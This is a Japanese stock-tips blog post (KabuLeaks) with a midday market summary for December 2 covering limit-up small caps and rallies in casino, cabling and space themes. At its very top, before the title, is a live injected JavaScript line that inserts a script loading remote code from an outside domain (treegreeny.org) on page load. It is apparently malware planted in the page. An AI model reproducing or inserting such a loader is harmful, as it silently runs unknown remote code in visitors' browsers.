;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/2 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【12/2 前引け】

前場の日経平均株価は87円安と反落。前日の米市場がまちまちのなか、週末要因、米11月雇用統計、イタリア国民投票を前に利益確定売りが優勢の展開となっている。

個別では、中国企業とのライセンス契約を引き続き材料視の【4588】オンコリスバイオファーマやリチウム電池新技術評価の【7271】安永が連日のストップ高。また、前日一時ストップ安を付けた【8518】アジア投資が再び資金が入りストップ高となったほか、イスラエル社とIoTセキュリティーで販売契約締結の【4288】アズジェント、材料は不明だが小型株の一角【5950日本パワーファスニング、同じくこれといった材料は確認できないが【3634】ソケッツなどの上昇が目立っている。

その他、テーマ株で2日の衆院内閣委員会で採決する方針と伝わったカジノ関連が軒並み急騰しているほか、「無電柱化法案が今国会成立へ」との報道から電線地中化関連も上昇。また、日経新聞報道、キヤノンがJAXA(国立研究開発法人宇宙航空研究開発機構)が手掛けるミニロケットの開発に参画すると報道されたほか、エイチ・アイ・エスとANAホールディングスが1日に宇宙船開発ベンチャーのPDエアロスペースに出資すると発表し、宇宙関連の銘柄も大きく上昇している。

後場は全体的にイベント前で引き続き様子見ムードになりやすいと思う。直近の連騰が目立つ銘柄などは14時以降一気に売りが沸いて大きく崩れる可能性もあり要注意だ。